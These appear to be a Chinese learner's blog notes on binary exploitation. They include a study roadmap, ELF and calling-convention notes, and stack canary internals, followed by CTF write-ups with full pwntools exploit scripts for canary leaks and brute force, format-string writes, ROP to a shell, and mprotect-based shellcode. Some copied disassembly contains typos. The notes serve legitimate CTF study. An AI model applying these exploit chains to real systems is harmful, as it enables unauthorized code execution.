在你眼中我是谁
在我眼中你是谁
2022年4月16日
我怀有一腔热血,我构建宏伟蓝图,我享受自娱自乐,我不会因一次失败而放弃自我,我不会因一次成功而放大自我,我希望我能宠辱不惊,看庭前花开花落;去留无意,望天上云卷云舒。
2022年4月4日
在你眼中我是谁
在我眼中你是谁
2022年4月16日
我怀有一腔热血,我构建宏伟蓝图,我享受自娱自乐,我不会因一次失败而放弃自我,我不会因一次成功而放大自我,我希望我能宠辱不惊,看庭前花开花落;去留无意,望天上云卷云舒。
2022年4月4日
RSA、Black Hat、DEFCON、ISC(中国互联网安全大会)
学术顶会
CCS(A): ACM Conference on Computer and Communications Security
NDSS(B): Network and Distributed System Security Symposium
Oakland S&P(A): IEEE Symposium on Security & Privacy
USENIX(A): USENIX Security Symposium
中文:网易云课堂的大学计算机专业课程体系
英文:Harvard CS50 Introduction to Computer Science
CMU 18-447 Introduction to Computer Architecture
MIT 6.828 Operating System Engineering
Stanford CS143 Compilers
掌握各平台的静态反汇编(IDA、Radare2)和动态调试(GDB、x64dbg)工具,熟练阅读反汇编代码,理解x86、ARM和MIPS二进制程序,注意程序结构组成和编译运行的细节。
推荐书籍:
Secure Coding in C and C++,2nd Edition
The Intel 64 and IA-32 Architectures Software Developer’s Manual
ARM Cortex-A Series Programmer’s Guide
See MIPS Run.2nd Edition
Reverse Engineering for Beginners
《程序员的自我修养–链接、装载与库》
《加密与解密,第4版》
从CTF切入是一个很好的思路。学习常见的漏洞(溢出、UAF、double-free等)的原理、Linux漏洞缓解机制(stack canaries、NX、ASLR等)以及针对这些机制的漏洞利用方法(stack smashing、shellcoding、ROP等),此阶段还可以读wp来学习。在掌握这些基本知识之后就可以,尝试分析真实环境中的漏洞,或者分析一些恶意样本了。
推荐资料:
RPI CSCI-4968 Modern Binary Exploitation
Hacking: The Art of Exploitation,2nd Edition
The Shellcode r’ s Handbook,2nd Edition
Practical Malware Analysis
《漏洞战争:软件漏洞分析精要》
有了实践的基础后,可以学习分析一些程序分析理论,比如数据流分析(工具如Soot)、值集分析(BAP)、可满足性理论(Z3)、动态二进制插桩(DynamoRio、Pin)、符号执行(KLEE、angr)、模糊测试(Peach、AFL)等。这些技术对于程序分析和漏洞挖掘自动化非常重要,是学术界和工业界都在研究的热点。感兴趣的还可以关注下自动化网络攻防的CGC竞赛。推荐资料如下:
UT Dallas CS-6V81 System Security and Binary Code Analysis
AU static Program Analysis Lecture notes
如果是走学术路线,阅读论文必不可少,一开始可以读综述类的文章,对某个领域的研究情况有全面的了解,然后跟随综述去找相应的论文。比较推荐会议论文,因为通常可以在作者个人主页上找到幻灯片,甚至会议录像视频,对学习理解论文很有帮助。如果直接读论文则感觉会有些困难,这里推荐上交大”蜚语”安全小组的论文笔记。坚持读、多思考,相信量变终会产生质变。
为了持续学习和提升,还需要收集和订阅一些安全资讯(FreeBuf、SecWiki、安全客)、漏洞披露(exploit-db、CVE)、技术论坛(看雪论坛、吾爱破解、先知社区)和大牛的技术博客,这一步可以通过RSS Feed来完成。随着社会媒体的发展,很多安全团队和个人都转战到了Twitter微博、微信公众号等新媒体上,请果断关注他们(操作技巧:从某个安全研究者开始,遍历其关注列表,然后递归,即可获得大量相关资源),通常可以获得最新的研究成果、漏洞、PoC、会议演讲等信息甚至资源链接等。
目前二进制方向很难就业,如果不是特别有兴趣和死磕一辈子的决心,建议还是选择web安全、安全管理等方向。
1)确立方向,结合工作,找出短板
该领域主要专家们的工作是否都了解过?
相关协议、文件格式是否都熟悉?
相关技术和主要工具是否看过、用过?
2)阅读只是学习过程的起点,不能止于阅读
工具的每个参数每个菜单都要看、要试
学习网络协议要实际抓包分析,学习文件格式要读代码实现.学习老漏洞一定要调试,搞懂每一个字节的意义, 之后要完全自己重写一个Exploit
细节、细节、细节,刨根问底
(1)短期参考比自己优秀的同龄人。阅读他们的文章和工作成果,从细节中观察他们的学习方式和工作方式。
(2)中期参考你的方向上的业内专家。了解他们的成长轨迹,跟踪他们关注的内容。
(3)长期参考业内老牌企业和先锋企业。把握行业发展、技术趋势,为未来做积累。
(1)以工具为线索
一个比较省事的学习目录: Kali Linux
学习思路,以Metasploi为例: 遍历每个子目录,除了Exploi里面还有什么?每个工具怎么用?原理是什么?涉及哪些知识?能否改进优化?能否发展、组合出新的功能?
(2)以专家为线索
你的技术方向上有哪些专家?他们的邮箱、主页、社交网络账号是什么?他们在该方向上有哪些作品,发表过哪些演讲?跟踪关注,一个一个地学。
做好预研,收集相关前人成果,避免无谓的重复劳动
在可行性判断阶段,能找到工具就不写代码,能用脚本语言写就不要用编译语言,把完美主义放在最终实现阶段
做好笔记并定期整理,遗忘会让所有的投入都白白浪费
多和同事交流,别人说一个工具的名字可能让你节约数小时
处理好学习、工作和生活
无论怎么提高效率,要成为专家,都需要大量的时间投入
5个步骤:
词法分析
语法分析
语义分析
中间代码生成和优化
代码生成和优化
GCC命令加”-save-temps”和”–verbose”编译选项,前者用于将编译过程中生成的中间文件保存下来,后者查看GCC编译的详细流程。
主要包含四个阶段:预处理、编译、汇编和链接
处理源代码中”#”开头的预处理指令,将其转换后直接插入程序文本,得到另一个C程序,通常以”.i”作为文件扩展名。”-E”选项可以单独执行预处理。
自行了解一些常见的预处理规则。
完成分析及优化,生成汇编代码。”-S”选项单独执行。例:”gcc -S hello.c -o hello.s”
GCC默认是使用AT&T格式的汇编,可以加选项”-masm=intel”使其指定为 我们熟悉的intel格式。”-fno-asynchronous-unwind-tables” 则用于生成没有cfi宏的汇编指令,以提高可读性。
将汇编指令翻译成机器指令。”-c”单独执行,例:”gcc -c hello.s -o hello.o”。
可分为静态链接和动态链接,默认是动态链接,”-static”选项可指定使用静态链接。这一阶段将目标文件及其依赖库进行链接,生成可执行文件,主要包括地址和空间分配(Address and Storage Allocation)、符号绑定(Symbol Binding)和重定位(Relocation)等操作。
链接操作由链接器(Id.so)完成,结果就得到了hello文件,这是一个静态链接的可执行文件(Executable File),包含了大量的库文件。
ELF(Executable and Linkable Format),即“可执行可链接格式”,是COFF(Common file format)格式的变种。Linux相关定义在"/usr/include/elf.h"文件里。
ELF文件主要分三种类型,可执行文件(.exec)、可重定位文件(.rel)和共享目标文件(.dyn),此外,还有核心转储文件(Core Dump file)作为进程意外终止时进程地址空间的转储。
ELF文件统称为Obiect file.这与我们通常理解的”.o”文件不同。本笔记中提到目标文件时,指各种类型的ELF文件。对于”.o”文件,则表示为可重定位文件,此类文件包含了代码和数据,可以被用于链接成可执行文件或者共享目标文件。
从链接视角看,可以将目标文件用节(Section)来划分;另一种是运行视角,通过段(Segment)来进行划分。本节先学习链接视角。通常目标文件会包含代码(.text)、数据(.data)和BSS(.bss)三个节。其中代码节用于保存机器指令,数据节保存已初始化的全局变量和局部静态变量,BSS节保存未初始化的全局变量和局部静态变量。目标文件还包含一个文件头。
ELF文件头位于目标文件最开始位置,包含ELF文件类型、版本/ABI版本、目标机器、程序入口、段表和节表的位置和长度等。
64位ELF文件
ELF 文件解析 3-段 – 知乎 (zhihu.com)
<<elf-64-gen.pdf>>
procfs虚拟文件系统。通过procfs查看系统硬件及正在运行进程的信息,可以通过修改其中某些内容来改变内核的运行状态。
每个正在运行的进程都对应/proc下的一个目录,目录名就算进程的PID。
比较重要的文件(cat命令为例):
auxv 传递给进程的解释器信息
cmdline 启动进程的命令行
cwd -> /home/firmy 当前工作目录
environ 进程的环境变量
exe -> /bin/cat 最初的可执行文件
fd 进程打开的文件
fdinfo 每个打开文件的信息
maps 内存映射信息
mem 内存空间
root -> / 进程的根目录
stack 内核调用栈
status 进程的基本信
syscall 正在执行的系统调用
task 进程包含的所有线程
/proc/PID/mem 由open、read和seek等系统调用使用,无法由用户直接读取,但其内容可以通过/proc/PID/maps 查看,进程的布局通过内存映射来实现,包括可执行文件、共享库、栈、堆等。
看栈(cat /proc/xx/stack)需要在编译内核时启用CONFIG_STACKTRACE选项
auxv (AUXiliary Vector)的每一项都是由一个unsigned long 的ID加上一个unsigned long的值构成,每个值具体的用途可以通过设置环境变量 LD_SHOW_AUXV=1显示出来。辅助向量存放在栈上,附带了传递给动态链接器的程序相关的特定信息。
task 每个线程的信息分别放在一个由线程号(TID)命名的目录中.
syscall 第一个值是系统调用号,后面跟着六个参数,最后两个值分别是堆栈指针和指令计数器。
(1)内核接口
x86-32系统调用约定:Linux系统调用使用使用寄存器传递参数。eax为syscall_nnumber,ebx、ecx、edx、esi和ebp用于将6个参数传递给系统调用,返回值保存在eax中。其他寄存器都保留在int 0x80中。
x86-64系统调用约定:内核接口使用的寄存器有rdi、rsi、rdx、r10、r8和r9。通过指令syscall完成。系统调用的编号必须在寄存器rax中传递。系统调用的参数限制为6个,不直接从堆栈上传递任何参数。返回时,rax包含了结果,且只有integer或者memory类型的值才会被传递给内核。
(2)用户接口
x86-32函数调用约定:参数通过栈进行传递。最后一个参数第一个被放入栈中,直到所有的参数都放置完毕,然后执行call指令。这也是Linux上C语言默认的方式。
x86-64函数调用约定:x86-64下通过寄存器传递参数,这样做比通过栈具有更高的效率。它避免了内存中参数的存取和额外的指令。根据参数类型的不同,会使用寄存器或传参方式。如果参数的类型是MEMORY,则在栈上传递参数。
如果类型是INTEGER,则顺序使用rdi、rsi、rdx、rcx、r8和r9。所以如果有多于6个的INTEGER参数,则后面的参数在栈上传递。
当程序运行的过程中出现异常终止或崩溃,系统就会将程序崩溃时的内存、寄存器状态、堆栈指针、内存管理信息等记录下来,保存在一个文件中,叫作核心转储(Core Dump)
信号 | 动作 | 解释 |
---|---|---|
SIGQUIT | Core | 通过键盘退出时 |
SIGILL | Core | 遇到不合法的指令时 |
SIGABRT | Core | 从abort中产生的信号 |
SIGSEGV | Core | 无效的内存访问 |
SIGTRAP | Core | trace/breakpoint陷阱 |
在Linux中,系统调用是一些内核空间函数,是用户空间访问内核的唯一手段。这些函数与CPU架构有关,86提供了358个系统调用,86-64提供了322个系统调用。32位和64位有区别。
先看看32位的:
.data
msg:
.ascii "hello 32-bit!\n"
len = . - msg
.text
.global_start
_start:
movl $len,%edx
movl Smsg,%ecx
movl $1,%ebx
movl $4,%eax
int $0x80
movl $0,%ebx
mov1 $1,%eax
int $0x80
程序将调用号保存在eax中,参数传递的顺序依次是ebx,ecx,edx,,esi和edi。通过int $0x80来执行系统调用,返回值存放在eax。
(可以被编译成64位程序)
软中断 int 0x80 早期2.6及更早版本的内核都使用这种机制进行系统调用,但因其性能较差,在往后的内核中被快速系统调用替代,如32位系统使用sysenter指令,64位syscall指令。
canary的值是栈上的一个随机数,程序启动时随机生成并保存在比函数返回地址更低的位置。由于栈溢出是从高地址进行覆盖,因此攻击者想要控制函数的返回指针,就一定要先覆盖canary,程序之需要在函数返回前检查canary是否被篡改,就可以达到保护栈的目的。
通常可分为3类:terminator、random和random XOR,具体实现有StackGuard、StackShield、ProPoliced等。
关于StackGuard的论文:StackGuard:Automatic Adaptive Detection and Prevention of Buffer-Overflow Attacks.
Terminator canaries:由于许多栈溢出是字符串操作不当所产生的,而这些字符串以”\x00″截断,基于这一点,terminator canaries 将低位设置为”\x00″,既可以防止被泄露,也可以防止被伪造。截断字符还包括CR(0x0d)、LF(0x0a)和EOF(0xff)。
Random canaries:为防止canaries被攻击者猜到,random canaries通常在程序初始化时随机生成,并保存在一个相对安全的地方。随机数通常由/dev/urandom生成,有时也使用当前时间的哈希。
Random XOR canaries: 与random canaries 类似,但多一个XOR操作,这样无论canaries被篡改还是与之XOR的控制数据被篡改,都会发生错误,这就增加了攻击难度。
GCC包含多个canaries有关参数,可以用帮助命令查看。-fstack-protector 对alloca系列函数和内部缓冲区大于8字节的函数启用保护
-fno-stack-protector 禁用保护
可以自己敲个实例试试,看看反汇编代码分析分析。
gef> disassemble main
0x00000000004005b6<+0>: push rbp
0x00000000004005b7<+1>: mov rbp,rsp
0x00000000004005ba<+4>: sub rsp,0x20
0x00000000004005be<+8>: mov rax,QWORD PTR fs:0x28
0x00000000004005c7<+17>: mov QWORD PTR [rbp-0x8],rax
0x00000000004005cb<+21>: xor eax,eax
0x00000000004005cd<+23>: 1ea rax,[rbp-0x20]
0x00000000004005d1<+27>: mov rsi,rax
0x00000000004005d4<+30>: mov edi,0x400684
0x00000000004005d9<+35>: mov eax,0x0
0x00000000004005de<+40>: ca11 0x4004a0 <_isoc99_scanf@plt>
0x00000000004005e3<+45>: nop
0x00000000004005e4<+46>: mov rax,QWORD PTR [rbp-0x8]
0x00000000004005e8<+50>: xor rax,QWORD PTR fs 0x28
0x00000000004005f1<+59>: je 0x4005f8 <main+66>
0x00000000004005f3<+61>: ca11 0x400480 <stack_chk_fail@plt>
0x00000000004005f8<+66>: 1eave
0x00000000004005f9<+67>: ret
在Linux中,fs寄存器被用于存放线程局部存储(Thread Local Storage, TLS),TLS主要是为了避免多个线程同时访存同一全局变量或静态变量时所导致的冲突,尤其是多个线程同时需要修改这一变量时。TLS为每一个使用该全局变量的线程提供了一个变量值的副本,每一个线程均可以独立地改变自己的副本,而不会影响其他线程的副本冲突。从线程的角度看,就好像每一个线程都完全拥有该变量。从全局变量的角度看,就像被复制了很多副本,每一个副本都被一个线程独立占有。在glibc的实现中,TLS结构体tcbhead_t的定义如下所示,偏移0x28正是stack_guard。
typedef struct{
void *tcb; /* Pointer to the TCB.Not necessarily the
thread descriptor used by libpthread.*/
dtv_t *dtv;
void *self; /*Pointer to the thread descriptor.*/
int multiple_threads;
int gscope_flag;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
......
} tcbhead_t;
从TLS取出canary后,程序就将其插入rbp-0x8的位置暂时保存。在函数返回前,又从栈上将其取出,并于TLS中的canary进行异或比较,从而确定两个值是否相等。如果不相等就说明发生了栈溢出,然后转到__stack_chk_fail()函数中,程序终止并抛出错误;否则程序正常退出。
如果是32位程序,那么canary就变成了gs寄存器偏移0x14的地方。
typedef struct{
void *tcb; /*Pointer to the TCB.Not necessarily the
thread descriptor used by libpthread.*/
dtv_t *dtv;
void *self; /*Pointer to the thread descriptor.*/
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
......
} tcbhead_t;
gef > disassemble main
......
0x0804849c<+17>:mov eax,gs:0x14
0x080484a2<+23>:mov DWORD PTR [ebp-0xc],eax
......
0x080484bc<+49>:mov eax,DWORD PTR [ebp-0xc]
0x080484bf<+52>:xor eax,DWORD PTR gs:0x14
0x080484c6<+59>:je 0x80484cd<main+66>
0x080484c8<+61>:ca11 0x8048350 <__stack_chk_fail@plt>
......
checksec.sh对Canary的检测也是根据是否存在__stack_chk_fail
或__intel_security_cookie
来进行判断。
至此,我发现我的笔记几乎都是从书上摘抄下来,只有很少自己的理解。我不愿再抄书,后面只概括主要内容,加上自己的理解。
以64位程序为例,程序加载时,glibc中的ld.so首先初始化TLS,为其分配空间,通过arch_prctl系统调用设置fs寄存器指向TLS。
然后程序调用security_init()函数,生成Canary的值stack_chk_guard,并放入fs:0x28。
static void security_init (void)
{
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
__stack_chk_guard = stack_chk_guard;
#endif
/* Set up the pointer guard as well, if necessary. */
uintptr_t pointer_chk_guard
= _dl_setup_pointer_guard (_dl_random, stack_chk_guard);
#ifdef THREAD_SET_POINTER_GUARD
THREAD_SET_POINTER_GUARD (pointer_chk_guard);
#endif
__pointer_chk_guard_local = pointer_chk_guard;
/* We do not need the _dl_random value anymore. The less
information we leave behind, the better, so clear the
variable. */
_dl_random = NULL;
}
glibc/elf/rtld.c
security_init()函数生成canary值。
STATIC int LIBC_START_MAIN {
......
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
# ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
# else
__stack_chk_guard = stack_chk_guard;
# endif
glibc/csu/libc-start.c
__libc_start_main()函数生成canary值
/* Random data provided by the kernel. */
void *_dl_random;
glibc/elf/ld-support.c
_dl_random指向一个由内核提供的随机数。
怎么说,就是利用canary的报错去读取我们想要获取的内容。当栈溢出覆盖了canary,程序最后检测到canary值被破坏之后会调用stack_chk_fail函数(以glibc2.26为例)
void
__attribute__ ((noreturn))
__stack_chk_fail (void)
{
__fortify_fail_abort (false, "stack smashing detected");
} // debug/stack_chk_fail.c
发现传入了一串字符串和false到fortify_fail函数
void
__attribute__ ((noreturn))
__fortify_fail_abort (_Bool need_backtrace, const char *msg)
{
/* The loop is added only to keep gcc happy. Don't pass down
__libc_argv[0] if we aren't doing backtrace since __libc_argv[0]
may point to the corrupted stack. */
while (1)
__libc_message (need_backtrace ? (do_abort | do_backtrace) : do_abort,
"*** %s ***: %s terminated\n",
msg,
(need_backtrace && __libc_argv[0] != NULL
? __libc_argv[0] : "<unknown>"));
} // debug/fortify_fail.c
发现打印了传过来的字符串和文件名,__libc_argv[0]
相当于是文件名字符串的地址,(在glibc2.23只要我们把它换成我们想要获取的内容的地址,就会读出该地址的内容。),但是这里不能的,need_backtrace传过来的是flase,所以一定是"<unknown>"
,从2.26之后都不能用这个方法,大家可以下载glibc源码去看。
想要了解更详细可以看合天的这篇文章https://zhuanlan.zhihu.com/p/362917125
先看一道简单的例题(glibc2.23)
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
char flag[0x40];
void inits()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
int fd = open("./flag",0);
if(fd == -1)
{
puts("Something wrong!");
exit(0);
}
read(fd,flag,0x30);
close(fd);
}
int main()
{
char a[0x20];
inits();
puts("Hello!");
gets(a);
return 0;
}
//gcc test4-1.c -no-pie -o test4-1
有明显的栈溢出,找到flag地址,覆盖到文件名地址,得到flag。
函数pid_t fork(void)
会创建一个新进程,操作系统会复制父进程的地址空间中的内容给子进程。调用fork函数后,子进程与父进程的执行顺序是无法确定的。子进程无法通过fork()来创建子进程。这个函数有三种返回值
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<stdlib.h>
void inits()
{
setbuf(stdin,0);
setbuf(stdout,0);
setbuf(stderr,0);
}
void backdoor()
{
system("/bin/sh\x00");
}
void func()
{
puts("Input your name:");
char buf[0x20];
read(0,buf,0x60);
}
int main(void)
{
inits();
pid_t pid = 0;
while(1)
{
pid = fork();
if(pid < 0)
{
printf("Error!");
exit(0);
}
if(pid == 0)
{
func();
puts("Good!");
}
else
wait();
}
return 0;
}
通过上面的思路可直接写出exp。爆破后用后门地址覆盖返回地址。爆破部分如下:
canary = '\x00'
for j in range(7):
for i in range(0x100):
p.send('a'*0x28 + canary + chr(i))
a = p.recvuntil('Input your name:\n')
if 'Good!' in a:
canary += chr(i)
print(hex(u64(canary.ljust(8,'\x00'))))
break
网鼎杯2018-guess
开了nx和canary,放进IDA,发现它将flag读进了buf这个变量,所以我们要获取flag就要先泄露栈地址。后面fork了三次,我们不能直接泄露栈地址,只能通过泄露libc地址来泄露栈地址。在libc中保存了一个函数叫_environ,存的是当前进程的环境变量,得到libc地址后,libc基址+_environ的偏移量=_environ的地址,在内存布局中,他们同属于一个段,开启ASLR之后相对位置不变,偏移量之和libc库有关,通过_environ的地址得到_environ的值,从而得到环境变量地址,环境变量保存在栈中,所以通过栈内的偏移量,可以访问栈中任意变量。得到栈地址后,计算与buf的偏移,得到buf地址,用stack smash得到flag。不放exp了,有问题放评论。 例题3题目链接:https://buuoj.cn/challenges
参考资料:https://www.bilibili.com/video/BV1Uv411j7fr?p=10&spm_id_from=333.1007.top_right_bar_window_history.content.click
线程局部存储(Thread Local Storage,TLS)看这里感觉这里介绍的很详细,我根据自己理解简单讲一下,在非主线程时,TCB结构体位于栈上,对于有足够长的栈溢出,我们很容易覆盖stack_guard以及pointer_guard,从而绕过canary。
参考:canary的各种绕过
先行惯例,发现除了full relro其他保护全开了。发现system函数,可以通过泄露地址后利用,这里发现有两个格式化字符串漏洞,考虑先泄露canary值和内存地址。在泄露内存地址的LOAD地址后,我们就可以利用system函数和字符串binsh了。我今天遇到一个坑,栈平衡问题,我当时忘了,不知道为啥kali做就不用,Ubuntu就需要,还有就是偏移,在kali上是16,在Ubuntu上是17,虽然只要该栈上只要有内存地址都可以,但是这个是main地址,具体原因暂不清楚,有懂的大佬请指点一二。参考了某师傅的(https://www.cnblogs.com/yxhr/p/15618311.html),exp如下:
from pwn import *
p = process("./ezstack")
elf = ELF('./ezstack')
context(os='linux',arch='amd64',log_level='debug')
p.sendline(b'%20$p%11$p')
p.recvuntil(b'0x')
stack=int(p.recv(12),16)
p.recvuntil(b'0x')
canary=int(p.recv(16),16)
print (hex(stack))
print (hex(canary))
stack=stack&0xfffffffffffff000
system = 0x810
pop_rdi = 0xb03
binsh = 0xb24
ret=0x7c1
ret=stack+ret
pop_rdi=stack+pop_rdi
binsh=stack+binsh
system=stack+system
#gdb.attach(p,'b')
payload =b'a'*0x18+p64(canary)+p64(0)+p64(pop_rdi)+p64(binsh)+p64(ret)+p64(system)
p.sendline(payload)
p.interactive()
学习pwn 附件链接(多含一道pwn二叉树的题[可以试试]):https://pan.baidu.com/s/1MBSTpnmFcbISxkNlGGaaOw
提取码:abcd
查看保护后运行下
让我们算加减乘除,能简单用pwntools就可以做。我们需要知道python的eval函数是用来执行一个字符串表达式,并返回表达式的值。下面是exp
from pwn import*
context(arch="amd64",os='linux',log_level='debug')
p=process('./math')
for i in range(200):
p.recvuntil('num1:')
a=p.recvuntil(b'\n')
p.recvuntil(b'num2:')
b=p.recvuntil(b'\n')
p.recvuntil(b'The sign of this calculation is ')
c=p.recv(1)
a=str(int(a))
b=str(int(b))
c=chr(ord(c))
if c == "/":
c ="//"
d=eval(a+c+b)
d=str(d)
print(a,c,b,'=',d)
sleep(0.2)
p.sendlineafter(b'Give me your answer!!:\n',d)
p.interactive()
这里需要注意要转换数据类型,我发现"/"
单个除法算出来有小数,程序就说算错了,我们就用"//"
取整。运算符数据转换要在判断之前,因为"//"
是两个字符,数据转换会出错。
我们先检查保护,然后运行下,随便输入,然后就getshell了??
l的ASCII码比h大,无论输什么都会运行system(“/bin/sh”)。
发现输入数据与随机数比较,由于未设置随机化种子,随机数固定,我们去找到随机数,然后利用后面的v1栈溢出。 (能找到system和binsh地址)
通过调试,找到比较的代码发现了在栈中的随机数0x6b8b4567
,然后可以利用漏洞了
exp如下:
from pwn import *
p=process('./ret2xx')
context.log_level = "debug"
p.recvuntil('Try your best to solve it!\n')
p.send(p32(0x6b8b4567))
payload = b'a'*30 + p32(0x80483C0) + b'aaaa' + p32(0x80486D0)
p.sendline(payload)
p.interactive()
(0x80483c0是system地址,0x80486d0是binsh地址,'aaaa'是system返回地址)
发现主函数有栈溢出,覆盖变量为loveyou即可getshell。
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[24]; // [rsp+0h] [rbp-20h] BYREF
char s2[8]; // [rsp+18h] [rbp-8h] BYREF
strcpy(s2, "hateyou");
init(argc, argv, envp);
puts(&s);
read(0, buf, 0x20uLL);
if ( !strcmp(loveyou, s2) )
{
puts(&byte_402074);
system("/bin/sh");
exit(0);
}
puts(&byte_402098);
return 0;
}
exp如下:
from pwn import *
p=process('./pwn111')
context.log_level='debug'
p.recvuntil('你想对ta说什么\n')
p.send(b'a'*24+b'loveyou')
p.interactive()
先行惯例后(查看保护机制运行下),有格式化字符串漏洞,还有后门函数,并且他把我们需要修改的地址打印出来了,于是,我们用fmtarg命令找出该地址写入的参数偏移是15个
绕过之后我们利用下面的格式化字符串漏洞修改返回地址,我们调试之后发现偏移是7,
我们找到返回地址在var_3+16的位置,里面存放的是0x084873e
,我们要改成后门函数地址,只需将低地址的3e换成4d即可。
exp如下:
from pwn import *
io=process('./fmt')
context.log_level='debug'
io.recvuntil("First step:\n")
pwnnum_addr=int(io.recvuntil('\n',drop=True),16)
payload=p32(pwnnum_addr)+b"%08d"+b"%15$n"
io.sendline(payload)
gdb.attach(io,'b printf')
io.recvuntil("there\n")
payload2=p32(pwnnum_addr+16)+b"%73c%7$hhn"
print (payload2)
io.sendline(payload2)
io.interactive()
getshell后发现不能命令不能用,这是因为该程序在返回shell时把标准输出描述符关了,我们需要重定向到未关的标准输入描述符,来达到使用命令获取flag的值。执行exec 1>&0 (重定向相关知识可自行百度学习,exec相当于对其永久绑定了)后就可以正常执行命令。
先行惯例,开启了canary保护,有后门函数,可输入两次,有格式化字符串漏洞,利用思路就是利用格式化字符串漏洞找到泄露canary,然后把返回地址修改到后门函数地址。 exp如下
from pwn import *
p = process('./canary')
p.sendline(b'%11$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16) #canary是7个字节加\x00组成的,所以要接收16个十六进制数。
print (canary)
payload = b'a'*0x28 + p64(canary) + p64(0xdeadbeef) + p64(0x4011d6) #0x4011d6是后门函数地址。
p.sendline(payload)
p.interactive()
先行惯例后,发现有system但不能用,有binsh,但是有个小小的坑,就是不能直接用那个字符串的首地址,前面几个字符是错的,我们要从后面取,然后发现有数组溢出漏洞,刚好可以改magic_number获取system地址,需要pop rdi;ret 存binsh字符串,然后需要ret指令执行system函数,exp如下:
from pwn import *
p = process('./ret2')
context.log_level="debug"
binsh = 0x4014D4
rdi_addr = 0x401273
ret = 0x400318
p.sendlineafter(b'please input your position\n',b'20')
p.sendlineafter(b'plz input your value\n',b'0')
p.recvuntil(b'this is a gitf ')
system = int(p.recv(14),16)
print (hex(system))
payload = b'a'*(0x1a) + p64(rdi_addr) + p64(binsh) + p64(ret) +
p64(system)
p.sendline(payload)
p.interactive()
其实还有一种思路就是爆破,他随机数种子没变,随机数排列就是固定的,因此可以利用这个去比较magic_number。
先行惯例,我们发现开了Full Relro保护,不能利用.got.plt表了,还有NX保护,不能直接写入shellcode到内存单元执行,还有PIE保护,我们不能直接利用地址了,但没有开canary保护,所以考虑还是栈溢出。第一次输入可以栈溢出修改随机数种子,绕过随机数比较。绕过之后发现是格式化字符串漏洞,我们用它先泄露地址,偏移是6。没思路了,百度找到了某师傅写的wp,学习了下https://www.cnblogs.com/winmt/articles/15554191.html。 因为开了sandbox,禁用了execve,那么one_gadget与system这些也都不能用,所以考虑利用mprotect修改权限,再直接打orw的shellcode拿flag。先获取libc地址,再得到mprotect地址,再获取主函数rbp地址和主函数地址,写入权限后,写shellcode执行,exp如下:
from pwn import *
from ctypes import *
context(os = "linux", arch = "amd64", log_level = "debug")
io=process('./pwn')
libc=ELF("libc-2.23.so")
lib=cdll.LoadLibrary("libc.so.6")
io.sendline(b'a'*0x18+p32(0))
lib.srand(0)
for i in range(10):
io.sendline(str(lib.rand()))
io.sendline(b'%13$p')
io.recvuntil("best!\n")
libc_addr = int(io.recv(14)[2:14],16)
libc_base = libc_addr - 240 - libc.sym["__libc_start_main"]
log.info('LIBC:\t' + hex(libc_base))
mprotect_addr = libc_base+ libc.sym["mprotect"]
log.info('mprotect_addr:\t' + hex(mprotect_addr))
pop_rdi=libc_base+0x21112
print("pop_rdi:"+hex(pop_rdi))
pop_rsi=libc_base+0x202f8
print("pop_rsi:"+hex(pop_rsi))
pop_rdx=libc_base+0x1b92
print("pop_rdx:"+hex(pop_rdx))
payload=b'%6$p'#main_rbp
io.sendline(payload)
main_rbp = int(io.recv(14)[10:14],16)
payload=b'%11$p'#main_addr+30
io.sendline(payload)
main_addr=int(io.recv(14)[2:14],16)-0x30
load_base=main_addr-0x1678
newstack_addr=load_base+0x4060+8
leave_addr=load_base+0x1676
ret_stack=main_rbp+8
payload=flat(["%",str(ret_stack),"c%6$hn"])
io.sendline(payload)
offset=leave_addr&0xff
payload=flat(["%",str(offset),"c%10$hhn"])
io.sendline(payload)
payload=flat(["%",str(main_rbp),"c%15$hn"])
io.sendline(payload)
payload=flat(["%",str(newstack_addr&0xffff),"c%41$hn"])
io.sendline(payload)
payload=flat(["%",str(main_rbp+2),"c%15$hn"])
io.sendline(payload)
payload=flat(["%",str((newstack_addr>>16)&0xffff),"c%41$hn"])
io.sendline(payload)
payload=flat(["%",str(main_rbp+4),"c%15$hn"])
io.sendline(payload)
myrbp=((newstack_addr)>>32)&0xffff
payload=flat(["%",str(myrbp),"c%41$hn"])
io.sendline(payload)
shellcode='''
xor rax, rax
xor rdi, rdi
xor rsi, rsi
xor rdx, rdx
mov rax, 2
mov rdi, 0x67616c662f2e (此处为./flag)
push rdi
mov rdi, rsp
syscall
mov rdx, 0x100
mov rsi, rdi
mov rdi, rax
mov rax, 0
syscall
mov rdi, 1
mov rax, 1
syscall
'''
payload=b"jiaraniloveyou~\x00"
payload+=p64(pop_rdi)+p64((newstack_addr)&0xFFFFFFFFFFFFF000)
payload+=p64(pop_rsi)+p64(0x1000)
payload+=p64(pop_rdx)+p64(7)
payload+=p64(mprotect_addr)
payload+=p64(newstack_addr+len(payload))
payload+=asm(shellcode)
io.sendline(payload)
io.interactive()
我们先来看下缓冲区是什么,它就是内存中预留指定大小的存储空间用来对I/O的数据做临时存储,这部分内存空间就叫缓冲区,主要由堆,栈和静态数据区组成。当然也有缓冲寄存器,不过由于价格昂贵且容量较小,一般只用在对速度要求非常高的场合。
一般缓冲区分三大类:全缓冲、行缓冲、无缓冲
1.全缓冲:只有在缓冲区被填满之后才会进行I/O操作,比如对磁盘文件的读写。
2.行缓冲:只有在输入或输出中遇到换行符的时候才会进行O/I操作,比如标准的输入流(stdin)和输出流(stdout)。
3.无缓冲:标准I/O不缓存字符,比如标准错误输出流。
对缓冲区操作的函数有哪些?(C语言)
标准输出函数:printf、puts、putchar等
标准输入函数:scanf、gets、getchar等
内存分配函数:malloc、new和数组等
IO_FILE:fopen、fwrite、fread、fseek等
清除缓存区:fflush
